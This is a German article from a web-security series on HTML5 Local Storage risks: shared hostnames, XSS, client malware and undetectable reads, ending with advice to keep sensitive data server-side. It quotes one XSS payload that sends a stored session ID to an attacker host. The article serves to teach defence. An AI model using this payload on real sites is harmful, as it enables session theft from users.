Dipl.-Inform. Carsten Eilers

Der Zugriff auf den Local Storage ist an den Hostname (und das Protokoll und den Port) gebunden. Teilen sich verschiedene Benutzer einen Hostnamen, können alle Benutzer auf alle Daten im Local Storage zugreifen, da sie einen gemeinsamen Speicher verwenden. Es gibt keine Möglichkeit, den Zugriff beispielsweise auf bestimmte Pfadnamen oder Ähnliches zu beschränken.

Das betrifft zum Beispiel Hoster, die ihren Kunden wie früher GeoCities einzelne Verzeichnisse zuweisen. Schon ein einziger bösartiger Kunde eines solchen Anbieters kann dann auf alle von allen Kunden gespeicherten Daten in den Browsern der Website-Besucher zugreifen:

Sowohl
server.example/guter-benutzer/
als auch
server.example/boeser-benutzer/
teilen sich den gleichen Local Storage und jeder kann auf alle gespeicherten Daten zugreifen.

Gefahr für Social Networks

Nun ist GeoCities längst Geschichte, und wer würde schon bei so einem Hoster eine Webanwendung betreiben, die sensitive Daten verarbeitet? Aber wie sieht es denn zum Beispiel mit den Social Networks aus? Auch dort teilen sich die Benutzer einen gemeinsamen Hostnamen. Speichert das Social Network Daten im Local Storage, kann ein bösartiger Benutzer (sofern er denn entsprechenden JavaScript-Code auf dem Server speichern kann) auf alle vom Social Network im Local Storage abgelegten Daten zugreifen.

Für den Webbrowser ist es egal, ob ein Zugriff von
social-network.example/admin/index.php,
social-network.example/guter-benutzer/profil.php
oder
social-network.example/boeser-benutzer/profil.php
kommt. Gelangt ein Benutzer auf boeser-benutzer/profil.php, sind alle vom Social Network gespeicherten Daten in Gefahr.

XSS erlaubt Zugriff auf Local Storage

Auch über eine XSS-Schwachstelle ist der Zugriff auf den Local Storage der entsprechenden Domain möglich. Um eine im Local Storage gespeicherte Session-ID an den Server des Angreifers zu schicken, kann zum Beispiel folgender Code verwendet werden:

<script> document.write("<img src=
   'http://angreifer.example/steal.php?id=" 
   +localStorage.getItem('SessionID')
   +"'>");
</script>

Enthält Ihre Webanwendung eine XSS-Schwachstelle, können die Cyberkriminellen darüber die Daten des Local Storage aller angegriffenen Benutzer ausspähen.

Schadsoftware hat Zugriff auf den Local Storage

Was oft vergessen wird: Schadsoftware auf dem Client kann auf jede Datei des Benutzers zugreifen. Und das gilt auch für die Datei, in der der Webbrowser den Local Storage speichert. Und nebenbei bemerkt natürlich auch für die Datei mit den Daten der lokalen SQL-Datenbank.

War da was?

Sie sehen also: Angreifer haben viele Möglichkeiten, auf den Local Storage zuzugreifen. Und welche Möglichkeiten haben Sie als Entwickler oder Betreiber einer Webanwendung, diese Zugriffe zu erkennen?

Bei rein lesenden Zugriffen bemerken Sie von dem Angriff rein gar nichts. Da es keine Protokolle der Zugriffe gibt, gibt es schlicht keine Möglichkeit, unbefugte Lesezugriffe zu erkennen.

Manipulationen an den lokal gespeicherten Daten können Sie erkennen, wenn Sie die Daten auf dem Client mit denen auf dem Server vergleichen. Aber nur, wenn Ihre Anwendung keine Offline-Nutzung erlaubt. Ist eine Offline-Nutzung möglich, haben Sie keine Möglichkeit, zwischen Änderungen durch den Benutzer und Änderungen durch zum Beispiel Schadsoftware zu unterscheiden.

Fazit

Das alles lässt nur einen Schluss zu: Speichern Sie keine sensitiven Daten auf dem Client, dort können Sie sie nicht vor unbefugten Zugriffen schützen. Sensitive Daten sollten immer auf dem Server gespeichert werden, dort können sie deutlich besser geschützt werden.

Werden auf dem Client gespeicherte Daten zurück zum Server übertragen, müssen Sie sie dort gründlich prüfen, bevor Sie sie weiter verarbeiten. Ein Angreifer könnte in die Daten Schadcode eingeschleust haben, um beispielsweise eine SQL-Injection-Schwachstelle auszunutzen.

Aufräumen nicht vergessen!

Daten im Local Storage bleiben so lange erhalten, bis sie von der Webanwendung oder dem Benutzer gelöscht werden. Wenn Daten nicht mehr benötigt werden, sollten Sie sie löschen. Zum einen, um nicht unnötig den Rechner des Benutzer voll zu müllen, zum anderen, weil die Daten dann garantiert nicht ausgespäht werden können.

In der nächsten Folge geht es um die Sicherheit der SQL-Datenbank auf dem Client. Mehr zum Thema gibt es in den beiden eBooks, deren Cover Sie in der rechten Spalte kaum übersehen können.

Carsten Eilers

Übersicht über alle Artikel zum Thema

HTML5 Security - Eine Einführung

HTML5 Security - SVG und Resident XSS

HTML5 Security - Formulare auf Abwegen

HTML5 Security - Gift für den Application Cache

HTML5 Security - Der Local Storage

HTML5 Security - Die SQL-Datenbank

HTML5 Security - Cross Origin Requests

HTML5 Security - Gefährliche WebSockets

HTML5 Security - postMessage() sicher nutzen